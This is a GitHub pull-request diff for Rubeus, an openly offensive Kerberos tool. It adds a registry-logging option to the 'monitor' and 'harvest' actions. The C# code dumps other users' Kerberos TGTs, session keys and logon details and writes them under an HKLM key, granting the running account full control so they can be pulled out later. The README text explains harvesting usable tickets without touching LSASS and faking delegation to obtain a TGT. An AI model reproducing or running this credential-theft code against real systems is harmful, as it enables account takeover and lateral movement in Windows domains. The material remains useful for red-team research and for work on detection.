Merge pull request #6 from djhohnstein/master

Registry Logging
master
Will 2019-02-05 14:24:30 -08:00 committed by GitHub
commit 32afd4a2b7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 168 additions and 15 deletions

View File

@ -63,11 +63,11 @@ Rubeus is licensed under the BSD 3-Clause license.
Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
Rubeus.exe tgtdeleg [/target:SPN] Rubeus.exe tgtdeleg [/target:SPN]
Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions: Monitor every SECONDS (default 60 seconds) for 4624 logon events, dump any TGT data for new logon sessions, and save data to specified registry path (Default: Disabled):
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] [/registry:PATH\UNDER\HKLM]
Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire: Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire, and save TGTs to a specified registry path (Default: Disabled):
Rubeus.exe harvest [/interval:MINUTES] Rubeus.exe harvest [/interval:MINUTES] [/registry:PATH\UNDER\HKLM]
NOTE: Base64 ticket blobs can be decoded with : NOTE: Base64 ticket blobs can be decoded with :
@ -760,6 +760,8 @@ The **monitor** action will monitor the event log for 4624 logon events and will
When the /filteruser (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output. When the /filteruser (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.
Further, if you wish to save the output to the registry, pass the /registry flag and specfiy a path under HKLM to create (i.e., `/registry:SOFTWARE\MONITOR`). Then you can remove this entry after you've finished running Rubeus by `Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force`.
c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a
______ _ ______ _
@ -822,6 +824,8 @@ The **harvest** action takes monitor one step further. It monitors the event log
This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets. This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.
Further, you can pass the /registry flag to save the tickets into the registry for later extraction, such as `/registry:SOFTWARE\HARVEST`. You can remove the registry save data by `Get-Item HKLM:\SOFTWARE\HARVEST\ | Remove-Item -Recurse -Force`.
c:\Rubeus>Rubeus.exe harvest /interval:30 c:\Rubeus>Rubeus.exe harvest /interval:30
______ _ ______ _

View File

@ -10,12 +10,17 @@ namespace Rubeus.Commands
public void Execute(Dictionary<string, string> arguments) public void Execute(Dictionary<string, string> arguments)
{ {
int intervalMinutes = 60; int intervalMinutes = 60;
string registryBasePath = null;
if (arguments.ContainsKey("/interval")) if (arguments.ContainsKey("/interval"))
{ {
intervalMinutes = Int32.Parse(arguments["/interval"]); intervalMinutes = Int32.Parse(arguments["/interval"]);
} }
if (arguments.ContainsKey("/registry"))
{
registryBasePath = arguments["/registry"];
}
Harvest.HarvestTGTs(intervalMinutes); Harvest.HarvestTGTs(intervalMinutes, registryBasePath);
} }
} }
} }

View File

@ -11,6 +11,7 @@ namespace Rubeus.Commands
{ {
string targetUser = ""; string targetUser = "";
int interval = 60; int interval = 60;
string registryBasePath = null;
if (arguments.ContainsKey("/filteruser")) if (arguments.ContainsKey("/filteruser"))
{ {
targetUser = arguments["/filteruser"]; targetUser = arguments["/filteruser"];
@ -19,7 +20,11 @@ namespace Rubeus.Commands
{ {
interval = Int32.Parse(arguments["/interval"]); interval = Int32.Parse(arguments["/interval"]);
} }
Harvest.Monitor4624(interval, targetUser); if (arguments.ContainsKey("/registry"))
{
registryBasePath = arguments["/registry"];
}
Harvest.Monitor4624(interval, targetUser, registryBasePath);
} }
} }
} }

View File

@ -66,10 +66,10 @@ namespace Rubeus.Domain
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]"); Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:"); Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]"); Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] [/registry:SOFTWARENAME]");
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:"); Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]"); Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES] [/registry:SOFTWARENAME]");
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :"); Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n"); Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");

View File

@ -9,7 +9,7 @@ namespace Rubeus
{ {
public class Harvest public class Harvest
{ {
public static void HarvestTGTs(int intervalMinutes) public static void HarvestTGTs(int intervalMinutes, string registryBasePath)
{ {
// First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events // First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events
// every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log. // every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log.
@ -133,12 +133,15 @@ namespace Rubeus
Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now); Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now);
LSA.DisplayTGTs(creds); LSA.DisplayTGTs(creds);
if (registryBasePath != null)
{
LSA.SaveTicketsToRegistry(creds, registryBasePath);
}
System.Threading.Thread.Sleep(intervalMinutes * 60 * 1000); System.Threading.Thread.Sleep(intervalMinutes * 60 * 1000);
} }
} }
public static void Monitor4624(int intervalSeconds, string targetUser) public static void Monitor4624(int intervalSeconds, string targetUser, string registryBasePath = null)
{ {
// monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific // monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
// logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user. // logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.
@ -224,7 +227,7 @@ namespace Rubeus
{ {
seenLUIDs[luid] = true; seenLUIDs[luid] = true;
// if we haven't seen it, extract any TGTs for that particular logon ID // if we haven't seen it, extract any TGTs for that particular logon ID
LSA.ListKerberosTicketData(luid, "krbtgt", true); LSA.ListKerberosTicketData(luid, "krbtgt", true, registryBasePath);
} }
} }
catch (Exception e) catch (Exception e)

View File

@ -4,6 +4,10 @@ using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Security;
using System.Reflection;
using System.Security.AccessControl;
using Microsoft.Win32;
namespace Rubeus namespace Rubeus
{ {
@ -304,20 +308,24 @@ namespace Rubeus
} }
} }
public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false) public static void ListKerberosTicketData(uint targetLuid = 0, string targetService = "", bool monitor = false, string registryBasePath = null)
{ {
// lists // lists
if (Helpers.IsHighIntegrity()) if (Helpers.IsHighIntegrity())
{ {
ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor); ListKerberosTicketDataAllUsers(targetLuid, targetService, monitor, false, registryBasePath);
} }
else else
{ {
if (registryBasePath != null)
{
Console.WriteLine("[X] Registry option was passed but will not be used, as we require elevated rights to write to HKLM.");
}
ListKerberosTicketDataCurrentUser(targetService); ListKerberosTicketDataCurrentUser(targetService);
} }
} }
public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false) public static void ListKerberosTicketDataAllUsers(uint targetLuid = 0, string targetService = "", bool monitor = false, bool harvest = false, string registryBasePath = null)
{ {
// extracts Kerberos ticket data for all users on the system (assuming elevation) // extracts Kerberos ticket data for all users on the system (assuming elevation)
@ -331,10 +339,46 @@ namespace Rubeus
// and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/
// also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1
Microsoft.Win32.RegistryKey baseKey = null;
Microsoft.Win32.RegistryKey userData = null;
string user = null;
if (!monitor) if (!monitor)
{ {
Console.WriteLine("\r\n\r\n[*] Action: Dump Kerberos Ticket Data (All Users)\r\n"); Console.WriteLine("\r\n\r\n[*] Action: Dump Kerberos Ticket Data (All Users)\r\n");
} }
else
{
if (Environment.UserName == "SYSTEM")
{
user = "NT AUTHORITY\\SYSTEM";
}
else
{
user = Environment.UserDomainName + "\\" + Environment.UserName;
};
if (registryBasePath != null)
{
try
{
Registry.LocalMachine.CreateSubKey(registryBasePath);
baseKey = Registry.LocalMachine.OpenSubKey(registryBasePath, RegistryKeyPermissionCheck.ReadWriteSubTree);
RegistrySecurity rs = baseKey.GetAccessControl();
RegistryAccessRule rar = new RegistryAccessRule(
user,
RegistryRights.FullControl,
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
PropagationFlags.None,
AccessControlType.Allow);
rs.AddAccessRule(rar);
baseKey.SetAccessControl(rs);
}
catch
{
Console.WriteLine("[-] Error setting correct ACLs for HKLM:\\{0}", registryBasePath);
baseKey = null;
}
}
}
if (targetLuid != 0) if (targetLuid != 0)
{ {
@ -448,6 +492,21 @@ namespace Rubeus
if (count2 != 0) if (count2 != 0)
{ {
if (baseKey != null)
{
baseKey.CreateSubKey(username + "@" + domain);
userData = baseKey.OpenSubKey(username + "@" + domain, RegistryKeyPermissionCheck.ReadWriteSubTree);
userData.SetValue("Username", username);
userData.SetValue("Domain", domain);
userData.SetValue("LoginId", data.LoginID.LowPart.ToString());
userData.SetValue("UserSID", sid.Value.ToString());
userData.SetValue("AuthenticationPackage", authpackage.ToString());
userData.SetValue("LogonType", logonType.ToString());
userData.SetValue("LogonTime", logonTime.ToString());
userData.SetValue("LogonServer", logonServer.ToString());
userData.SetValue("LogonServerDNSDomain", dnsDomainName.ToString());
userData.SetValue("UserPrincipalName", upn.ToString());
}
Console.WriteLine("\r\n UserName : {0}", username); Console.WriteLine("\r\n UserName : {0}", username);
Console.WriteLine(" Domain : {0}", domain); Console.WriteLine(" Domain : {0}", domain);
Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart); Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart);
@ -613,6 +672,25 @@ namespace Rubeus
byte[] encodedTicket = new byte[encodedTicketSize]; byte[] encodedTicket = new byte[encodedTicketSize];
Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize); Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);
string base64TGT = Convert.ToBase64String(encodedTicket); string base64TGT = Convert.ToBase64String(encodedTicket);
if (userData != null)
{
userData.SetValue("ServiceName", serviceName);
userData.SetValue("TargetName", targetName);
userData.SetValue("ClientName", clientName);
userData.SetValue("DomainName", domainName);
userData.SetValue("TargetDomainName", targetDomainName);
userData.SetValue("AltTargetDomainName", altTargetDomainName);
userData.SetValue("SessionKeyType", sessionKeyType);
userData.SetValue("Base64SessionKey", base64SessionKey);
userData.SetValue("KeyExpirationTime", keyExpirationTime);
userData.SetValue("TicketFlags", ticketFlags);
userData.SetValue("StartTime", startTime);
userData.SetValue("EndTime", endTime);
userData.SetValue("RenewUntil", renewUntil);
userData.SetValue("TimeSkew", timeSkew);
userData.SetValue("EncodedTicketSize", encodedTicketSize);
userData.SetValue("Base64EncodedTicket", base64TGT);
}
Console.WriteLine(" ServiceName : {0}", serviceName); Console.WriteLine(" ServiceName : {0}", serviceName);
Console.WriteLine(" TargetName : {0}", targetName); Console.WriteLine(" TargetName : {0}", targetName);
@ -630,6 +708,7 @@ namespace Rubeus
Console.WriteLine(" TimeSkew : {0}", timeSkew); Console.WriteLine(" TimeSkew : {0}", timeSkew);
Console.WriteLine(" EncodedTicketSize : {0}", encodedTicketSize); Console.WriteLine(" EncodedTicketSize : {0}", encodedTicketSize);
Console.WriteLine(" Base64EncodedTicket :\r\n"); Console.WriteLine(" Base64EncodedTicket :\r\n");
// display the TGT, columns of 100 chararacters // display the TGT, columns of 100 chararacters
foreach (string line in Helpers.Split(base64TGT, 100)) foreach (string line in Helpers.Split(base64TGT, 100))
{ {
@ -1210,6 +1289,63 @@ namespace Rubeus
} }
} }
public static void SaveTicketsToRegistry(List<KRB_CRED> creds, string baseRegistryKey)
{
string user = null;
RegistryKey basePath = null;
if (Environment.UserName == "SYSTEM")
{
user = "NT AUTHORITY\\SYSTEM";
}
else
{
user = Environment.UserDomainName + "\\" + Environment.UserName;
};
try
{
Registry.LocalMachine.CreateSubKey(baseRegistryKey);
basePath = Registry.LocalMachine.OpenSubKey(baseRegistryKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
RegistrySecurity rs = basePath.GetAccessControl();
RegistryAccessRule rar = new RegistryAccessRule(
user,
RegistryRights.FullControl,
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
PropagationFlags.None,
AccessControlType.Allow);
rs.AddAccessRule(rar);
basePath.SetAccessControl(rs);
}
catch
{
Console.WriteLine("[-] Error setting correct ACLs for HKLM:\\{0}", baseRegistryKey);
basePath = null;
}
if (basePath != null)
{
foreach (KRB_CRED cred in creds)
{
string userName = cred.enc_part.ticket_info[0].pname.name_string[0];
string domainName = cred.enc_part.ticket_info[0].prealm;
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].starttime);
DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].endtime);
DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(cred.enc_part.ticket_info[0].renew_till);
Interop.TicketFlags flags = cred.enc_part.ticket_info[0].flags;
string base64TGT = Convert.ToBase64String(cred.Encode().Encode());
Microsoft.Win32.RegistryKey userData = basePath.CreateSubKey(userName + "@" + domainName);
// Create the keys underneath this
userData.SetValue("Username", domainName + "\\" + userName);
userData.SetValue("StartTime", startTime);
userData.SetValue("EndTime", endTime);
userData.SetValue("RenewTill", renewTill);
userData.SetValue("Flags", flags);
userData.SetValue("Base64EncodedTicket", base64TGT);
}
Console.WriteLine("\r\n[*] Wrote {0} tickets to HKLM:\\{1}.", creds.Count, baseRegistryKey);
}
}
public static void DisplayTicket(KRB_CRED cred) public static void DisplayTicket(KRB_CRED cred)
{ {
Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n"); Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n");